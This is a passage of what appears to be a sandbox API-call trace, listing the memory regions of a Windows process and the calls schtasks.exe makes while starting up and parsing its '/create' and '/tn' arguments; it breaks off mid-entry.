0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1871 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1872 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1873 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1874 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1875 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1876 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1877 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1878 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1879 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1880 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1881 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1882 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1883 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1884 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1885 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1886 start_va = 0x260000 end_va = 0x3e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 1887 start_va = 0x3f0000 end_va = 0x418fff monitored = 0 entry_point = 0x3f1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1888 start_va = 0x440000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1889 start_va = 0x3f0000 end_va = 0x418fff monitored = 0 entry_point = 0x3f1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1890 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1891 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1892 start_va = 0x540000 end_va = 0x6c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1893 start_va = 0x6d0000 end_va = 0x1acffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 1894 start_va = 0x1c0000 end_va = 0x1d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1895 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1896 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1897 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1898 start_va = 0x1ad0000 end_va = 0x1d9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1899 start_va = 0x1da0000 end_va = 0x1e1cfff monitored = 0 entry_point = 0x1dacec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1900 start_va = 0x1da0000 end_va = 0x1e1cfff monitored = 0 entry_point = 0x1dacec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1901 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1902 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1903 start_va = 0x1da0000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 1904 start_va = 0x1ea0000 end_va = 0x1f7efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 1905 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1906 start_va = 0x1fc0000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 1907 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1908 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1909 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 1910 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1911 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1912 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1913 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1916 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 111 os_tid = 0xee4 [0130.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fbe0 | out: lpSystemTimeAsFileTime=0x25fbe0*(dwLowDateTime=0x1ce3f660, dwHighDateTime=0x1d8a92a)) [0130.669] GetCurrentProcessId () returned 0xee0 [0130.669] GetCurrentThreadId () returned 0xee4 [0130.669] GetTickCount () returned 0x1386203 [0130.669] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x25fbe8 | out: lpPerformanceCount=0x25fbe8*=2060953209041) returned 1 [0130.669] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0130.669] __set_app_type (_Type=0x1) [0130.669] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0130.670] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0130.670] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0130.671] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0130.671] _onexit (_Func=0xff152afc) returned 0xff152afc [0130.671] _onexit (_Func=0xff152b58) returned 0xff152b58 [0130.671] _onexit (_Func=0xff152b80) returned 0xff152b80 [0130.671] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0130.671] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0130.671] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0130.672] _onexit (_Func=0xff152c20) returned 0xff152c20 [0130.672] _onexit (_Func=0xff152c48) returned 0xff152c48 [0130.672] _onexit (_Func=0xff152c70) returned 0xff152c70 [0130.672] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0130.672] WinSqmIsOptedIn () returned 0x0 [0130.673] GetProcessHeap () returned 0x440000 [0130.673] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba10 [0130.673] SetLastError (dwErrCode=0x0) [0130.673] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0130.673] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0130.673] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0130.673] VerifyVersionInfoW (in: lpVersionInformation=0x25f3a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25f3a0) returned 1 [0130.673] GetProcessHeap () returned 0x440000 [0130.673] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba30 [0130.673] lstrlenW (lpString="") returned 0 [0130.673] GetProcessHeap () returned 0x440000 [0130.673] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x2) returned 0x45ba50 [0130.673] GetProcessHeap () returned 0x440000 [0130.673] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x4559c0 [0130.673] GetProcessHeap () returned 0x440000 [0130.673] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba70 [0130.673] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x4559f0 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455a20 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455a50 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455a80 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba90 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455ab0 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455ae0 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455b10 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455b40 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45bab0 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455b70 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455ba0 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455bd0 [0130.674] GetProcessHeap () returned 0x440000 [0130.674] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455c00 [0130.675] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0130.675] SetLastError (dwErrCode=0x0) [0130.675] GetProcessHeap () returned 0x440000 [0130.675] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455c30 [0130.675] GetProcessHeap () returned 0x440000 [0130.675] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455c60 [0130.675] GetProcessHeap () returned 0x440000 [0130.675] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455c90 [0130.675] GetProcessHeap () returned 0x440000 [0130.675] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455cc0 [0130.675] GetProcessHeap () returned 0x440000 [0130.675] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455cf0 [0130.675] GetProcessHeap () returned 0x440000 [0130.675] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45bad0 [0130.675] _memicmp (_Buf1=0x45bad0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.675] GetProcessHeap () returned 0x440000 [0130.675] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x208) returned 0x45bc70 [0130.676] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45bc70, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0130.676] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0130.680] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0130.680] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0130.681] GetProcessHeap () returned 0x440000 [0130.681] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x74e) returned 0x45c220 [0130.681] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0130.681] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x45c220 | out: lpData=0x45c220) returned 1 [0130.681] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0130.681] VerQueryValueW (in: pBlock=0x45c220, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25f488, puLen=0x25f4f0 | out: lplpBuffer=0x25f488*=0x45c5bc, puLen=0x25f4f0) returned 1 [0130.685] _memicmp (_Buf1=0x45bad0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.686] _vsnwprintf (in: _Buffer=0x45bc70, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25f468 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0130.686] VerQueryValueW (in: pBlock=0x45c220, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25f4f8, puLen=0x25f4e8 | out: lplpBuffer=0x25f4f8*=0x45c3e8, puLen=0x25f4e8) returned 1 [0130.686] lstrlenW (lpString="schtasks.exe") returned 12 [0130.686] lstrlenW (lpString="schtasks.exe") returned 12 [0130.686] lstrlenW (lpString=".EXE") returned 4 [0130.686] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0130.687] lstrlenW (lpString="schtasks.exe") returned 12 [0130.687] lstrlenW (lpString=".EXE") returned 4 [0130.687] _memicmp (_Buf1=0x45bad0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.687] lstrlenW (lpString="schtasks") returned 8 [0130.688] GetProcessHeap () returned 0x440000 [0130.688] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455de0 [0130.688] GetProcessHeap () returned 0x440000 [0130.688] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cb30 [0130.688] GetProcessHeap () returned 0x440000 [0130.688] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cb60 [0130.688] GetProcessHeap () returned 0x440000 [0130.688] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cb90 [0130.688] GetProcessHeap () returned 0x440000 [0130.688] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45baf0 [0130.688] _memicmp (_Buf1=0x45baf0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.688] GetProcessHeap () returned 0x440000 [0130.688] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xa0) returned 0x45c070 [0130.689] GetProcessHeap () returned 0x440000 [0130.689] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cbc0 [0130.689] GetProcessHeap () returned 0x440000 [0130.689] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cbf0 [0130.689] GetProcessHeap () returned 0x440000 [0130.689] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc20 [0130.689] GetProcessHeap () returned 0x440000 [0130.689] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45bb10 [0130.689] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.689] GetProcessHeap () returned 0x440000 [0130.689] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x200) returned 0x45d300 [0130.689] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0130.689] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0130.690] GetProcessHeap () returned 0x440000 [0130.690] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x30) returned 0x457ae0 [0130.690] _vsnwprintf (in: _Buffer=0x45c070, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25f468 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0130.690] GetProcessHeap () returned 0x440000 [0130.690] GetProcessHeap () returned 0x440000 [0130.690] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c220) returned 1 [0130.690] GetProcessHeap () returned 0x440000 [0130.690] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c220) returned 0x74e [0130.690] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c220 | out: hHeap=0x440000) returned 1 [0130.690] SetLastError (dwErrCode=0x0) [0130.690] GetThreadLocale () returned 0x409 [0130.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.691] lstrlenW (lpString="?") returned 1 [0130.691] GetThreadLocale () returned 0x409 [0130.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.691] lstrlenW (lpString="create") returned 6 [0130.691] GetThreadLocale () returned 0x409 [0130.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.691] lstrlenW (lpString="delete") returned 6 [0130.691] GetThreadLocale () returned 0x409 [0130.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.691] lstrlenW (lpString="query") returned 5 [0130.691] GetThreadLocale () returned 0x409 [0130.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.691] lstrlenW (lpString="change") returned 6 [0130.691] GetThreadLocale () returned 0x409 [0130.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.691] lstrlenW (lpString="run") returned 3 [0130.691] GetThreadLocale () returned 0x409 [0130.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.691] lstrlenW (lpString="end") returned 3 [0130.691] GetThreadLocale () returned 0x409 [0130.691] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.691] lstrlenW (lpString="showsid") returned 7 [0130.691] GetThreadLocale () returned 0x409 [0130.692] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.692] SetLastError (dwErrCode=0x0) [0130.692] SetLastError (dwErrCode=0x0) [0130.692] lstrlenW (lpString="/create") returned 7 [0130.692] lstrlenW (lpString="-/") returned 2 [0130.692] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.692] lstrlenW (lpString="?") returned 1 [0130.692] lstrlenW (lpString="?") returned 1 [0130.692] GetProcessHeap () returned 0x440000 [0130.692] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45c220 [0130.692] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.692] GetProcessHeap () returned 0x440000 [0130.692] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xa) returned 0x45c240 [0130.692] lstrlenW (lpString="create") returned 6 [0130.692] GetProcessHeap () returned 0x440000 [0130.692] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45c260 [0130.692] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.692] GetProcessHeap () returned 0x440000 [0130.692] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x14) returned 0x45c280 [0130.692] _vsnwprintf (in: _Buffer=0x45c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|?|") returned 3 [0130.692] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.692] lstrlenW (lpString="|?|") returned 3 [0130.692] lstrlenW (lpString="|create|") returned 8 [0130.692] SetLastError (dwErrCode=0x490) [0130.692] lstrlenW (lpString="create") returned 6 [0130.692] lstrlenW (lpString="create") returned 6 [0130.693] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.693] GetProcessHeap () returned 0x440000 [0130.693] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c240) returned 1 [0130.693] GetProcessHeap () returned 0x440000 [0130.693] RtlReAllocateHeap (Heap=0x440000, Flags=0xc, Ptr=0x45c240, Size=0x14) returned 0x45c2a0 [0130.693] lstrlenW (lpString="create") returned 6 [0130.693] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.693] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.693] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.693] lstrlenW (lpString="|create|") returned 8 [0130.693] lstrlenW (lpString="|create|") returned 8 [0130.693] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0130.693] SetLastError (dwErrCode=0x0) [0130.693] SetLastError (dwErrCode=0x0) [0130.693] SetLastError (dwErrCode=0x0) [0130.693] lstrlenW (lpString="/tn") returned 3 [0130.693] lstrlenW (lpString="-/") returned 2 [0130.693] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.693] lstrlenW (lpString="?") returned 1 [0130.693] lstrlenW (lpString="?") returned 1 [0130.693] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.693] lstrlenW (lpString="tn") returned 2 [0130.693] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.693] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|?|") returned 3 [0130.693] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tn|") returned 4 [0130.694] lstrlenW (lpString="|?|") returned 3 [0130.694] lstrlenW (lpString="|tn|") returned 4 [0130.694] SetLastError (dwErrCode=0x490) [0130.694] lstrlenW (lpString="create") returned 6 [0130.694] lstrlenW (lpString="create") returned 6 [0130.694] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.694] lstrlenW (lpString="tn") returned 2 [0130.694] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.694] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|create|") returned 8 [0130.694] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tn|") returned 4 [0130.694] lstrlenW (lpString="|create|") returned 8 [0130.694] lstrlenW (lpString="|tn|") returned 4 [0130.694] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0130.694] SetLastError (dwErrCode=0x490) [0130.694] lstrlenW (lpString="delete") returned 6 [0130.694] lstrlenW (lpString="delete") returned 6 [0130.694] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.694] lstrlenW (lpString="tn") returned 2 [0130.694] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.694] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|delete|") returned 8 [0130.694] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f478 | out: _Buffer="|tn|") returned 4 [0130.694] lstrlenW (lpString="|delete|") returned 8 [0130.694] lstrlenW (lpString="|tn|") returned 